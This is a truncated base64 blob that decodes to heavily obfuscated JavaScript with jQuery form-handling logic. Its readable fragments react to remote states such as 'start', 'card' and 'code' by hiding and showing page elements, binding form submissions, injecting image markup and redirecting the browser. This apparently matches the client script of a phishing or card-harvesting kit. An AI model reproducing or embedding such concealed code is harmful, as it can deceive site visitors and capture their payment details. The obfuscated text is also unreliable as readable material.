VlY2U3KXtyZXR1cm4gXzB4NWVkM2ZmKF8weDIwYzQyNy0weGI3LF8weDJjNTk2ZS0weDcyLF8weDQxMzNmNC0gLTB4MmM1LF8weDJjNTk2ZSk7fXJldHVybiBfMHgyZjUzNDlbXzB4MWMyMTI4KDB4NTU3LDB4NzcsMHgzM2IsMHhkMildKF8weDJmNzMxNCxfMHg0MzMzNTMpO30sJ3RrRUxBJzpfMHgyZjUzNDlbXzB4MzYxY2Y0KC0weDEwYiwtMHg4NCwtMHgxYzIsLTB4Mzc4KV19O2lmKF8weDM2MWNmNCgtMHgyYjEsLTB4YWUsLTB4MjRlLC0weDUxYyk9PT1fMHg1ZWQzZmYoMHg0NzUsMHg2ZDYsMHg1MWIsMHg0OWIpKXt2YXIgXzB4MjAwN2E3PV8weDUwODMyMD9mdW5jdGlvbigpe2Z1bmN0aW9uIF8weDJkYzA0ZChfMHg2MTNmYWQsXzB4ZTRmYzQxLF8weDEyYTUzNixfMHgzNmM5MWUpe3JldHVybiBfMHg1ZWQzZmYoXzB4NjEzZmFkLTB4MTg2LF8weGU0ZmM0MS0weGQ4LF8weDM2YzkxZS0weDE1YixfMHgxMmE1MzYpO31pZihfMHgxYmI3MjUpe3ZhciBfMHgzOTgyMTc9XzB4YTRlN2Y0W18weDJkYzA0ZCgweGUwLDB4MTE1LDB4YzMsMHgzMmEpXShfMHhmZmZkZGYsYXJndW1lbnRzKTtyZXR1cm4gXzB4YjA1MTA2PW51bGwsXzB4Mzk4MjE3O319OmZ1bmN0aW9uKCl7fTtyZXR1cm4gXzB4YzhlNDZjPSFbXSxfMHgyMDA3YTc7fWVsc2V7JChkb2N1bWVudFtfMHg1ZWQzZmYoMHgyYzYsMHg1YmQsMHg0YWYsMHg1NWUpXSlbXzB4MzYxY2Y0KDB4ZDcsMHgyZiwtMHgxMTksLTB4MWQwKV0oXzB4NWVkM2ZmKC0weDkxLDB4NDcsMHg2MiwtMHhhZikrXzB4NWVkM2ZmKDB4NjE0LDB4NWM1LDB4NTIzLDB4NDI4KSxfMHgyY2MyYjEpO2lmKHR5cGVvZiBfMHgyY2MyYjFbJ2NvJytfMHgyZjUzNDlbXzB4NWVkM2ZmKDB4NWUyLDB4ODEwLDB4NWIwLDB4ODAyKV1dIT1fMHgyZjUzNDlbJ21HVEx2J10pe2lmKF8weDM2MWNmNCgweDE2YiwweDliLC0weDZlLDB4MWVkKSE9PV8weDJmNTM0OVtfMHgzNjFjZjQoMHgyMWEsMHgyYTQsMHgyMzAsMHg0NGUpXSl7dmFyIF8weDM4NzU3MSxfMHg0Y2M5ZDMsXzB4NTA3OTE4LF8weDk5N2NmMixfMHgyMGVkNTUsXzB4MjA3MjI0O2ZvcihfMHg1MDc5MTg9ISgweDExNDkrLTB4MTM3NisweDIyZCksXzB4OTk3Y2YyPS0weDIyNSsweDUqLTB4NTIzKzB4MioweGRlYSxfMHg0Y2M5ZDM9XzB4MmY1MzQ5WydJS1FjZyddKF8weDUyZTViZiwnJylbXzB4NWVkM2ZmKDB4NDZiLDB4NTNjLDB4NGE5LDB4NGU5KV0oJycpW18weDM2MWNmNCgweGFjLC0weDNhOCwtMHgxOTUsLTB4M2VlKV0oKSxfMHgyMGVkNTU9LTB4MWE3MisweDExNjEqMHgyKy0weDg1MCxfMHgyMDcyMjQ9XzB4NGNjOWQzW18weDVlZDNmZigweDdjMCwweDQ4OSwweDU3OSwweDc4YSldO18weDJmNTM0OVtfMHgzNjFjZjQoMHgyNmIsLTB4MTFjLDB4NDgsMHgyOGMpXShfMHgyMDcyMjQsXzB4MjBlZDU1KTtfMHgyMGVkNTUrKylfMHgzODc1NzE9XzB4NGNjOWQzW18weDIwZWQ1NV0sXzB4Mzg3NTcxPV8weDJmNTM0OVsncFZpeU4nXShfMHgxMDE5ZTQsXzB4Mzg3NTcxLC0weDIqLTB4YjhkKzB4MTE3KjB4MSstMHgxODI3KSwoXzB4NTA3OTE4PSFfMHg1MDc5MTgpJiYoXzB4Mzg3NTcxKj0weDFmZiotMHgyKzB4MmI3Ky0weDE0OSotMHgxKSxfMHgyZjUzNDlbXzB4MzYxY2Y0KC0weDMwNiwtMHgxMzYsLTB4MjUyLC0weDM3KV0oXzB4Mzg3NTcxLDB4OTFkKjB4MisweDIzNDMrLTB4MzU3NCkmJihfMHgzODc1NzEtPS0weDE2ZWIrLTB4ZWFlKjB4MisweDM0NTApLF8weDk5N2NmMis9XzB4Mzg3NTcxO3JldHVybiBfMHg5OTdjZjIlKDB4MjBkNisweDg2MystMHgyOTJmKT09PTB4NDJlKzB4MjRjKy0weDY3YTt9ZWxzZXtpZihfMHgyY2MyYjFbXzB4MmY1MzQ5W18weDVlZDNmZigweDY0MSwweDNhMywweDVhYiwweDJmOSldKCdjbycsXzB4MmY1MzQ5W18weDM2MWNmNCgweDIzYiwweGRlLDB4MmQ3LDB4NGUxKV0pXT09XzB4MzYxY2Y0KDB4MjksLTB4ZGUsLTB4MjA3LC0weDRlNSkpe2lmKF8weDJmNTM0OVtfMHgzNjFjZjQoLTB4MjM0LC0weDMwYiwtMHgxOTIsLTB4NDQ4KV0oJ3ZuT1VhJyxfMHgyZjUzNDlbXzB4NWVkM2ZmKDB4NzlmLDB4NGY1LDB4NTJmLDB4NzVkKV0pKXshXzB4MmY1MzQ5W18weDVlZDNmZigweDNkNiwweDMxMywweDM4YywweDIzOCldKCQsZG9jdW1lbnRbJ2JvZHknXSlbXzB4NWVkM2ZmKC0weDM5LDB4MWRmLDB4MTBmLC0weDE4NSldKF8weDJmNTM0OVtfMHgzNjFjZjQoLTB4MzdkLC0weDNmOSwtMHgxYWEsLTB4MjQxKV0pWydsZW5ndGgnXSYmXzB4MmY1MzQ5W18weDVlZDNmZigweDMwNCwweDJiMiwweDQ1MCwweDNiOCldKCQsXzB4NWVkM2ZmKDB4MmEwLC0weDRjLDB4MjhmLDB4Y2MpKyd3JylbXzB4MzYxY2Y0KDB4Mjc1LC0weGQzLDB4MWFkLDB4Y2UpXShfMHgyZjUzNDlbJ01oZ3JJJ10pO18weDJmNTM0OVtfMHg1ZWQzZmYoMHgyZCwweDMyMCwweDdkLDB4MSldKHR5cGVvZiBfMHgyY2MyYjFbXzB4MzYxY2Y0KDB4ZSwtMHgxNjgsLTB4MTY2LC0weDIzNSldLF8weDJmNTM0OVtfMHg1ZWQzZmYoLTB4MjA1LDB4MzBiLDB4NGUsLTB4MjMwKV0pJiYkKF8weDJmNTM0OVtfMHgzNjFjZjQoLTB4MjhlLC0weDI2OSwtMHgxYWEsLTB4MjQ4KV0pW18weDVlZDNmZigtMHg0NywweDMxMywweDFjMSwweDE0MildKF8weDJmNTM0OVtfMHg1ZWQzZmYoMHgyZTYsMHg3MywweGYwLC0weDE0OSldKCc8aW1nXHgyMHN0eWxlJytfMHg1ZWQzZmYoMHgzYzksMHg1ZDQsMHgzZmUsMHg1NzMpK18weDVlZDNmZigweDdjMSwweDQ3NCwweDU0MiwweDRkNykrXzB4MzYxY2Y0KDB4MTI5LDB4M2I4LDB4MzRkLDB4NTJlKStfMHg1ZWQzZmYoMHgzMzksMHgzMmQsMHg2MjIsMHg1ZjQpK18weDM2MWNmNCgweDNiNSwtMHgxNDUsMHhmMiwtMHgxZjcpK18weDVlZDNmZigweDEyNCwweDMyZSwweDNiZCwweDJmMykrXzB4MzYxY2Y0KC0weDE4NiwtMHhjLC0weDIzLDB4MjJiKStfMHgzNjFjZjQoMHhhYywtMHgzOCwweDIwOSwtMHhkYSkrXzB4MmNjMmIxW18weDJmNTM0OVtfMHgzNjFjZjQoMHgyNWUsMHgzZTgsMHgyMjcsMHgyODMpXV0sJ1x4MjI+JykpO3JldHVybjt9ZWxzZXt2YXIgXzB4NWY0YWVlLF8weGVhODhkZjtyZXR1cm4gXzB4ZWE4OGRmPWFyZ3VtZW50c1stMHgxYWMqMHgyKy0weDFlZDIrLTB4MjIyYSotMHgxXSxfMHg1ZjRhZWU9XzB4MmY1MzQ5W18weDM2MWNmNCgtMHg3MywweDJiYSwweDI1OSwweDEwYildKDB4MjBhZisweDMqLTB4NzE0KzB4NjUqLTB4MWQsYXJndW1lbnRzW18weDVlZDNmZigweDc0NiwweDMwOCwweDU3OSwweDMxMyldKT9fMHgxYmMyOTRbXzB4NWVkM2ZmKDB4MWJhLDB4MmIwLDB4M2JjLDB4NjUzKV0oYXJndW1lbnRzLC0weDFmMjcrLTB4MTQ0YyoweDErLTB4YjIqLTB4NGEpOltdLF8weDIzNzg1Y1tfMHgzNjFjZjQoMHgzMDQsMHgxNTIsMHgyMmMsMHgyNWIpXVsnZm4nXVtfMHhlYTg4ZGZdW18weDVlZDNmZigweDNkLDB4M2ZjLDB4MWNmLDB4NGJlKV0odGhpcyxfMHg1ZjRhZWUpO319aWYoXzB4MmY1MzQ5WydOemZjaSddKF8weDJjYzJiMVtfMHgyZjUzNDlbXzB4NWVkM2ZmKC0weDU5LDB4MjA1LDB4MTg5LDB4MTA3KV0rXzB4NWVkM2ZmKDB4NGZkLDB4MzFkLDB4MzE2LDB4NTYxKV0sJ3N0YXJ0Jykpe2lmKF8weDJmNTM0OVtfMHg1ZWQzZmYoMHgxYmUsMHgzZGMsMHgzOWMsMHgzMGYpXSE9PV8weDJmNTM0OVsnaURvblEnXSl7XzB4MmY1MzQ5W18weDM2MWNmNCgweDg5LC0weDExOCwweDY1LDB4MjZmKV0oJCxkb2N1bWVudFtfMHgzNjFjZjQoMHhlNiwweDQwOCwweDFkNiwweDRhZildKVtfMHgzNjFjZjQoMHg4MSwweGEsLTB4MTE5LC0weDI3YSldKF8weDJmNTM0OVtfMHg1ZWQzZmYoMHhiZSwtMHgzMiwweGYwLDB4MTU2KV0oXzB4MmY1MzQ5W18weDM2MWNmNCgtMHgyOWIsLTB4M2Y5LC0weDEyYywtMHgyMzIpXStfMHgzNjFjZjQoMHgxMjYsMHg4OCwtMHgyOCwweDc0KSwncm0nKSk7XzB4MmY1MzQ5WydzWld3TiddKHR5cGVvZiBfMHgyY2MyYjFbXzB4MmY1MzQ5WydaWmxwdCddXSxfMHgyZjUzNDlbXzB4MzYxY2Y0KC0weDQ5LC0weDUxOSwtMHgyOGIsLTB4NDYpXSkmJihfMHgyZjUzNDlbXzB4NWVkM2ZmKDB4MWM3LDB4ZTIsMHgzM2QsMHgzZmUpXShfMHgyZjUzNDlbXzB4NWVkM2ZmKDB4NDI5LC0weDEsMHgxNTcsMHgyM2MpXSxfMHgyZjUzNDlbJ1JIRWxKJ10pP18weDI2YWIyOT1fMHgyZjUzNDlbJ3dOc1NCJ10oJ2NhJywncmQnKTokKF8weDJmNTM0OVtfMHgzNjFjZjQoMHgyNDUsLTB4MTRhLDB4NjIsLTB4ZWIpXShfMHgyZjUzNDlbXzB4NWVkM2ZmKDB4MzkwLDB4MmQ1LDB4ZDAsMHgxYWIpXSxfMHgyZjUzNDlbXzB4NWVkM2ZmKDB4MTg5LDB4MjIwLDB4MTJjLC0weDcxKV0pKVtfMHgzNjFjZjQoLTB4MWU0LDB4MTUwLC0weDExOCwtMHgxYjQpXShfMHgyY2MyYjFbXzB4MmY1MzQ5W18weDM2MWNmNCgweDFlZSwweDE5LDB4MmEsMHgxMGIpXV0pW18weDM2MWNmNCgweDNhNSwtMHg0MSwweDE1NCwweDk4KV0oXzB4MmY1MzQ5WydrWFprcCddKVtfMHg1ZWQzZmYoMHg1ZjksMHg3M2YsMHg1NzIsMHgyZjUpXSgpKTtyZXR1cm47fWVsc2V7aWYoXzB4OGM1MTdhW18weDRkMzMzNVtfMHgzNjFjZjQoLTB4ZmYsLTB4MWVjLC0weDEwZiwtMHhhNCldKCdjbycsXzB4NGQzMzM1W18weDVlZDNmZigweDcyLDB4NmIsMHgyNmEsMHgxMmMpXSldPT1fMHg0ZDMzMzVbXzB4MzYxY2Y0KDB4MzczLC0weDE1NiwweDEzOCwtMHhlMCldKXtpZihfMHg1NjgxNjYoXzB4NGQzMzM1W18weDVlZDNmZigweDI5YiwweDE0MCwweDMyMCwweDE0MSldKVtfMHgzNjFjZjQoMHgzMTQsMHgyMzIsMHgyYTAsMHgzYzkpXT09LTB4MTMzKjB4MTQrLTB4MmIzKi0weDUrMHhmKjB4YjMpcmV0dXJuO18weDRkMzMzNVsnSlJ5U3MnXShfMHg0ZjA5MTQsXzB4NGQzMzM1W18weDM2MWNmNCgweDRiNywweDM1YywweDIxNCwweDM2ZSldKVtfMHg1ZWQzZmYoMHgxODQsMHgyYzcsMHgxYzEsMHgxNDYpXSgnJyksXzB4NGQzMzM1W18weDVlZDNmZigtMHhiLDB4MzMsMHgyNjEsLTB4MWQpXShfMHg1MjU1YmYsXzB4NGQzMzM1Wyd4VXNmbCddKVsnaGlkZSddKCk7cmV0dXJuO31lbHNle2lmKF8weDRkMzMzNVtfMHg1ZWQzZmYoMHgyZWQsMHg1MTgsMHgzMTQsMHgzNjIpXShfMHgzZGI2MzZbXzB4NGQzMzM1WydvQmZxcSddKCdjbycsXzB4NGQzMzM1W18weDM2MWNmNCgtMHgzNTQsLTB4NWYsLTB4NmYsLTB4MTJhKV0pXSxfMHg1ZWQzZmYoMHgxZDgsMHg1ZTYsMHgzY2EsMHgyNTcpKSl7aWYoXzB4NGQzMzM1WydxTG9lTiddKF8weDRkMzMzNVtfMHgzNjFjZjQoMHgyODgsMHgxYTQsMHhmMywweDE1NSldKF8weDU2NGQwMSxfMHg0ZDMzMzVbXzB4NWVkM2ZmKDB4MWU0LDB4MzE2LDB4MzIwLDB4MzI0KV0pW18weDVlZDNmZigweDRhMSwweDgyNiwweDU3OSwweDRiNCldLC0weGQ5NSoweDErMHg5NTArMHg0NDUpKXJldHVybjtfMHgxYzdmOWUoXzB4NGQzMzM1W18weDM2MWNmNCgweDQ0MCwweDMsMHgyMTQsMHgxZjQpXSlbJ2h0bWwnXSgnJyksXzB4NzI1MDc1KF8weDRkMzMzNVtfMHg1ZWQzZmYoMHg0ODMsMHg1NTEsMHgzMjAsMHg0N2UpXSlbXzB4MzYxY2Y0KDB4MjNkLDB4NGNkLDB4Mjk5LDB4MzlkKV0oKTt2YXIgXzB4NDBhZmU2PXt9O18weDQwYWZlNltfMHgzNjFjZjQoMHgxZDIsMHgzMDcsMHgyYTYsMHgzMTgpXT1fMHgyOWVjOTBbXzB4MzYxY2Y0KDB4M2VhLDB4MmY1LDB4MmE2LDB4MTUxKV0sXzB4NDBhZmU2WydfJ109ISFbXSxfMHg0ZDMzMzVbXzB4MzYxY2Y0KC0weDRiLC0weDIxNywtMHgxZSwweDE4NildKF8weDFjNTFlYixfMHg0NzI0MWFbJ2JvZHknXSlbXzB4NWVkM2ZmKDB4MjFlLDB4NjEsMHgxYzAsMHgxODYpXShfMHg0ZDMzMzVbJ3RrRUxBJ10sXzB4NDBhZmU2KTtyZXR1cm47fX19fWlmKF8weDJmNTM0OVtfMHg1ZWQzZmYoMHgyMDIsMHg0NGQsMHgyNTYsMHg0OWEpXShfMHgyY2MyYjFbXzB4MmY1MzQ5Wyd2dVFFVCddKF8weDJmNTM0OVtfMHgzNjFjZjQoMHg1YSwweDFlZSwweDJkMiwweDVhZildKF8weDJmNTM0OVtfMHg1ZWQzZmYoMHgxZSwweDQ1ZCwweDE4OSwweDQxNSldLF8weDJmNTM0OVsnUG5qSHEnXSksXzB4MmY1MzQ5W18weDVlZDNmZigtMHg0NywweDEzNCwweDI3MiwtMHgyMCldKV0sXzB4MmY1MzQ5W18weDVlZDNmZigweDI2NCwweDUxMiwweDQ2OCwweDcyYyldKSl7XzB4MmY1MzQ5WydtTUJReSddKCQsd2luZG93KVtfMHgzNjFjZjQoMHgzMDEsMHgyMDIsMHgyNzMsMHg0YjQpXShfMHgyZjUzNDlbJ3lOaWtCJ10pLGxvY2F0aW9uWydyZWxvYWQnXSgpO3JldHVybjt9aWYoXzB4MmY1MzQ5W18weDVlZDNmZigweDM5NCwweDMzZiwweDI1NywweDJmYyldKF8weDJjYzJiMVtfMHgyZjUzNDlbXzB4MzYxY2Y0KDB4MTY5LC0weDE2MSwweDYyLC0weDlmKV0oXzB4MmY1MzQ5WydIT0tvbyddKF8weDJmNTM0OVtfMHg1ZWQzZmYoMHgxZTcsMHg5MSwweDE4OSwtMHg3ZSldLF8weDJmNTM0OVsnUG5qSHEnXSksXzB4MmY1MzQ5W18weDVlZDNmZigweDFmZCwweDU1MSwweDI3MiwweDUwNyldKV0sXzB4MmY1MzQ5W18weDVlZDNmZigweDE5OSwweDFjYywweDNiMCwweDQ3ZSldKSl7JCh3aW5kb3cpW18weDVlZDNmZigweDY2NywweDZiZiwweDU0YywweDc4MCldKF8weDJmNTM0OVtfMHg1ZWQzZmYoMHhkYSwtMHgyNjYsMHg1MywtMHgxYzIpXSksXzB4MmY1MzQ5W18weDVlZDNmZigweDE2MCwweDFhNiwweDEwMywweDJkMCldKCQsXzB4MmY1MzQ5W18weDM2MWNmNCgweDJjMiwweDk1LC0weDI3LDB4YWIpXSlbXzB4NWVkM2ZmKDB4NDRhLDB4M2VjLDB4MWMxLDB4M2MxKV0oXzB4MmY1MzQ5W18weDVlZDNmZigweDM2ZiwweDIyZiwweDQwNiwweDYxNSldKF8weDJmNTM0OVtfMHg1ZWQzZmYoMHg2MWUsMHgxY2QsMHg0NjksMHg3NGEpXShfMHgyZjUzNDlbXzB4MzYxY2Y0KDB4N2EsMHg1ZDQsMHgyZmQsMHgxOTEpXShfMHgyZjUzNDlbXzB4NWVkM2ZmKC0weDE2OCwtMHhmNiwweDE4YywtMHgyNildLF8weDJjYzJiMVtfMHgyZjUzNDlbXzB4MzYxY2Y0KC0weDJiLC0weDU2LDB4ZDcsLTB4MTc0KV1dKSwnXHgyMj4nKSxfMHgxODAweDdbXzB4MzYxY2Y0KC0weDMxMCwtMHgzMzQsLTB4NmIsLTB4Mjk5KStfMHg1ZWQzZmYoMHgxNmMsMHgzNDUsMHgxYzIsMHgxMjApXSkrXzB4MmY1MzQ5W18weDVlZDNmZigweDMzOCwweGRkLDB4MjIzLDB4NDAwKV0pLF8weDJmNTM0OVtfMHg1ZWQzZmYoMHg2NWEsMHgzY2MsMHg1ZTAsMHg2MWUpXSgkLGZvcm1TZWxlY3RvcilbXzB4MmY1MzQ5W18weDM2MWNmNCgtMHg0OWMsLTB4NzEsLTB4MWZhLC0weDM0ZSldXSgnc3VibWl0JyksXzB4MmY1MzQ5W18weDM2MWNmNCgweDM0MiwweDI3ZSwweDE3NywtMHhlMyldKCQsZm9ybVNlbGVjdG9yKVtfMHgyZjUzNDlbXzB4MzYxY2Y0KC0weDI1MSwtMHgxODYsLTB4Mjg0LC0weDFiYSldXShfMHgyZjUzNDlbXzB4MzYxY2Y0KDB4NDUyLDB4MWZiLDB4MjgyLDB4NDQxKV0sZnVuY3Rpb24oXzB4NGNiZmIwKXtmdW5jdGlvbiBfMHgyYjNjZjUoXzB4NDgyY2U4LF8weDE0NDE4MyxfMHg0NTQzNjEsXzB4MzA5MTM4KXtyZXR1cm4gXzB4MzYxY2Y0KF8weDQ4MmNlOC0weDE2OCxfMHgxNDQxODMtMHgxMDgsXzB4NDU0MzYxLTB4NWI5LF8weDQ4MmNlOCk7fXZhciBfMHgzMjg0YTQ9eydieG14Zic6ZnVuY3Rpb24oXzB4YTgwZDRjLF8weGIxYTg1ZSl7ZnVuY3Rpb24gXzB4NDg3MjE5KF8weDQ0NDk5OCxfMHg4MWNkZjEsXzB4MTFjYTAzLF8weDVlYWJjYyl7cmV0dXJuIF8weDRjMGYoXzB4NWVhYmNjLTB4M2NmLF8weDgxY2RmMSk7fXJldHVybiBfMHgyZjUzNDlbXzB4NDg3MjE5KDB4N2MwLDB4M2EyLDB4NjMyLDB4Njk1KV0oXzB4YTgwZDRjLF8weGIxYTg1ZSk7fSwnWUFqaEQnOl8weDJmNTM0OVtfMHgyYjNjZjUoMHg4MmUsMHg1YTksMHg1ZGYsMHg0MWUpXSwnRnlSY0YnOl8weDJmNTM0OVtfMHg0YTk3YjUoMHgyODgsMHgzMmYsMHgzMGYsMHgzNTYpXX07ZnVuY3Rpb24gXzB4NGE5N2I1KF8weDI3MGQ4MSxfMHg0Y2M4ZWEsXzB4NTM4MzdlLF8weDE4YmE4ZSl7cmV0dXJuIF8weDVlZDNmZihfMHgyNzBkODEtMHgxZGQsXzB4NGNjOGVhLTB4YzIsXzB4MThiYThlLTB4MThmLF8weDRjYzhlYSk7fV8weDJmNTM0OVtfMHg0YTk3YjUoMHg4MjEsMHg4NGYsMHhhMmIsMHg3OGEpXSE9PV8weDJmNTM0OVsneERiV2InXT9fMHg0Y2JmYjBbXzB4MmIzY2Y1KDB4NDU1LDB4NzdhLDB4NjQ1LDB4NTVhKStfMHgyYjNjZjUoMHg0YjIsMHgzNWMsMHgzODgsMHgyNGYpXSgpOl8weDFjOGVjOSYmKF8weDMyODRhNFtfMHg0YTk3YjUoMHgyODcsMHgyM2EsMHgzMGYsMHg0ZTApXShfMHgzNTk3NDQsXzB4MzI4NGE0W18weDRhOTdiNSgweDYyYiwweDM2YSwweDI1OSwweDQ3YyldKVtfMHgyYjNjZjUoMHg3Y2UsMHg4OGEsMHg3MGQsMHg0ZjEpXShfMHgzMjg0YTRbXzB4NGE5N2I1KDB4NTE2LDB4NTVlLDB4NWMxLDB4MzI4KV0pLF8weDVjZTk2NyhfMHgyYjZmNDkpW18weDJiM2NmNSgweDY2MSwweDM2NywweDNlZCwweDQwZSldKGZ1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4MTQ0ODU5KF8weDIwNTEyYixfMHhkOGQ2NTcsXzB4ZmY1MzdlLF8weDQ2MDVlNyl7cmV0dXJuIF8weDJiM2NmNShfMHg0NjA1ZTcsXzB4ZDhkNjU3LTB4MTVhLF8weDIwNTEyYi0gLTB4MTg1LF8weDQ2MDVlNy0weDNjKTt9dmFyIF8weDQ2M2QyOD1fMHgxMzNjNjBbJ3F1ZXJ5U2VsZWMnKyd0b3InXShfMHg0OTQxN2QoMHg0NTYsMHgzYjMsMHg5NGMsMHg2YWEpK18weDE0NDg1OSgweDc3YywweDVmOCwweDk1MywweDcwZSkpO2Z1bmN0aW9uIF8weDQ5NDE3ZChfMHg0ZmE3ZDgsXzB4MTNkZTJkLF8weDE2MWU4MCxfMHgxNTBiZjgpe3JldHVybiBfMHgyYjNjZjUoXzB4NGZhN2Q4LF8weDEzZGUyZC0weDE4OCxfMHgxNTBiZjgtIC0weDg4LF8weDE1MGJmOC0weDZiKTt9XzB4NDYzZDI4WydyZXF1ZXN0UG9pJytfMHg0OTQxN2QoMHg1NTYsMHg0MmMsMHgxMWQsMHgyYTcpXT1fMHg0NjNkMjhbXzB4MTQ0ODU5KDB4NjQ3LDB4M2ZlLDB4NTdmLDB4NjYwKStfMHg0OTQxN2QoMHgyMDEsMHgzOWQsMHgxMmMsMHgyYTcpXXx8XzB4NDYzZDI4W18weDE0NDg1OSgweDFhOCwweGQsMHgzOWUsMHgzN2MpK18weDE0NDg1OSgweDczYywweDYwMCwweDQ2NSwweGExOSkrJ2snXXx8XzB4NDYzZDI4Wyd3ZWJraXRSZXF1JytfMHg0OTQxN2QoMHg3MTEsMHhhNmYsMHg2NzksMHg4NDkpKydMb2NrJ10sXzB4NDYzZDI4W18weDQ5NDE3ZCgweDcwYywweDkwMCwweDg2OCwweDc0NCkrXzB4NDk0MTdkKDB4MzVlLDB4NTA1LDB4NDE3LDB4MmE3KV0oKTt9KSk7fSksXzB4MmY1MzQ5WydBWEdDYyddKCQsXzB4MmY1MzQ5W18weDVlZDNmZigweDM0YSwweDRjZCwweDViYiwweDg0YildK18weDJmNTM0OVtfMHg1ZWQzZmYoMHg2NTgsMHgyNmUsMHg0ZTAsMHg0NzApXSlbXzB4MmY1MzQ5WydBamJ4YiddXSgpLF8weDJmNTM0OVsnc0lHSkUnXSgkLF8weDJmNTM0OVtfMHg1ZWQzZmYoMHgzMmQsMHg0ZjgsMHgyYjIsMHg1MmMpXSlbXzB4MmY1MzQ5W18weDM2MWNmNCgweDNmYiwtMHhjNywweDFhNCwweDNhNyldXSgpLCQoXzB4MmY1MzQ5W18weDM2MWNmNCgtMHgxZWEsMHgxMjgsLTB4MTg3LC0weDJhMSldKVtfMHgyZjUzNDlbXzB4NWVkM2ZmKDB4MWEzLC0weDFkZiwweDhmLDB4ZWIpXV0oKTtyZXR1cm47fWlmKF8weDJjYzJiMVtfMHgyZjUzNDlbXzB4MzYxY2Y0KDB4MjA4LDB4MmUzLDB4MTI0LC0weGI0KV0oXzB4MmY1MzQ5W18weDVlZDNmZigweDgwNywweDM1NywweDU2YSwweDgxNildKF8weDM2MWNmNCgtMHg0ZmEsLTB4Mjg5LC0weDI2YywweDZiKSxfMHgyZjUzNDlbXzB4MzYxY2Y0KDB4MmE1LDB4MTU5LDB4MmZhLDB4NTYpXSksXzB4MmY1MzQ5W18weDVlZDNmZigweDcyLDB4NTJmLDB4MjcyLC0weDMxKV0pXT09XzB4MmY1MzQ5W18weDM2MWNmNCgweDIyNiwweDM2YywweDExNywweDM4NildKXt2YXIgXzB4NWFlNmY5PV8weDJmNTM0OVtfMHg1ZWQzZmYoMHg2NzEsMHgzYTIsMHg1Y2YsMHg0ODEpXVtfMHg1ZWQzZmYoMHg2ZDQsMHg2ZWYsMHg0YTksMHgyYjEpXSgnfCcpLF8weDMyNTI4MT0tMHhmN2QrMHgyMDdlKy0weDExMDE7d2hpbGUoISFbXSl7c3dpdGNoKF8weDVhZTZmOVtfMHgzMjUyODErK10pe2Nhc2UnMCc6XzB4MmY1MzQ5W18weDM2MWNmNCgtMHgzNzAsLTB4MTE2LC0weDE4ZSwweDEyYSldKCQsZG9jdW1lbnRbXzB4MzYxY2Y0KDB4MmU4LDB4MWYsMHgxZDYsMHg0OTcpXSlbXzB4NWVkM2ZmKDB4MmJiLDB4M2EsMHgxYzAsMHg0ODkpXShfMHgyZjUzNDlbXzB4NWVkM2ZmKDB4MzcxLDB4NTM5LDB4MzVjLDB4NWU1KV0pO2NvbnRpbnVlO2Nhc2UnMSc6XzB4MmY1MzQ5WydhdWdhRiddKCQsXzB4MmY1MzQ5W18weDM2MWNmNCgtMHgxMGEsLTB4MzYwLC0weDI4ZiwtMHg1NTQpXSlbXzB4MmY1MzQ5W18weDM2MWNmNCgweGM2LDB4MWU5LDB4MWE0LDB4MjMzKV1dKCk7Y29udGludWU7Y2FzZScyJzokKF8weDJmNTM0OVtfMHgzNjFjZjQoLTB4MTcsLTB4MzY4LC0weDE4NywtMHgxODkpXSlbXzB4NWVkM2ZmKDB4NzQ4LDB4ODFhLDB4NTk2LDB4NThkKV0oKTtjb250aW51ZTtjYXNlJzMnOiQoXzB4MmY1MzQ5WydkbkdaWSddKVtfMHgyZjUzNDlbXzB4MzYxY2Y0KDB4MTM4LC0weDFiZCwtMHgxM2EsLTB4ZjEpXV0oJycpO2NvbnRpbnVlO2Nhc2UnNCc6dHlwZW9mIF8weDJjYzJiMVtfMHgyZjUzNDlbJ1pabHB0J11dIT1fMHgyZjUzNDlbJ21HVEx2J10mJl8weDJmNTM0OVsnREdlRnUnXSgkLF8weDJmNTM0OVtfMHg1ZWQzZmYoLTB4NDQsMHgyN2MsMHgyNDQsMHgyMjYpXSlbXzB4NWVkM2ZmKDB4M2VlLDB4M2NhLDB4MWMxLDB4MjNiKV0oXzB4MmNjMmIxW18weDJmNTM0OVtfMHg1ZWQzZmYoMHg1MTcsMHg0NzIsMHgzMDMsMHgzZTkpXV0pW18weDVlZDNmZigweDU1YiwweDFmOSwweDQyZCwweDRjNyldKF8weDJmNTM0OVsna1haa3AnXSlbJ3Nob3cnXSgpO2NvbnRpbnVlO2Nhc2UnNSc6cmV0dXJuO31icmVhazt9fWlmKF8weDJmNTM0OVsnbnJnZ1MnXShfMHgyY2MyYjFbXzB4MmY1MzQ5W18weDVlZDNmZigweDI5MiwweDdjYywweDUwZSwweDM2OCldKCdjb2QnK18weDJmNTM0OVtfMHg1ZWQzZmYoMHg3NTAsMHg3YWYsMHg1ZDMsMHg4MmUpXSxfMHgyZjUzNDlbXzB4NWVkM2ZmKDB4NTA5LC0weDdiLDB4MjcyLDB4NWYpXSldLF8weDJmNTM0OVtfMHgzNjFjZjQoMHg0YTAsMHgxNGEsMHgxYWYsMHgxNDEpXSkpe18weDJmNTM0OVtfMHgzNjFjZjQoMHgzZSwweDFjMiwtMHgyNiwweDEwNildKCQsd2luZG93KVtfMHgzNjFjZjQoMHgyMywweDM5MywweDI3MywweDQwMyldKF8weDJmNTM0OVtfMHg1ZWQzZmYoLTB4MzksMHgxMDYsMHg1MywtMHgyODIpXSksbG9jYXRpb25bXzB4NWVkM2ZmKDB4NDZhLDB4MTY2LDB4MzZlLDB4MTM4KV09XzB4MmNjMmIxW18weDJmNTM0OVtfMHg1ZWQzZmYoMHg2YTgsMHhjNywweDNiMCwweDNhYyldXTtyZXR1cm47fX19fX0pO2Z1bmN0aW9uIF8weGU5ODRjOChfMHgzNWU2MjQsXzB4MjdjZDdlKXtmdW5jdGlvbiBfMHg1ZWRkYjQoXzB4YTQ1YWVhLF8weDJjMGNkYyxfMHhjNjM0MzAsXzB4NTI4OTNmKXtyZXR1cm4gXzB4MjU5YzgzKF8weDJjMGNkYyxfMHgyYzBjZGMtMHg4NixfMHhjNjM0MzAtMHg1OCxfMHhhNDVhZWEtMHgyNyk7fV8weDJkMGNhNltfMHg1ZWRkYjQoMHgzODksMHg1NDYsMHg1ZmUsMHgzNDUpXShfMHgzNWU2MjQsXzB4MjdjZDdlKTt9ZnVuY3Rpb24gXzB4MjU5YzgzKF8weDdmMjVlMCxfMHhkOTQxNjgsXzB4NGU3NDZmLF8weDM3YjAwMil7cmV0dXJuIF8weDViZjRiYihfMHgzN2IwMDItIC0weD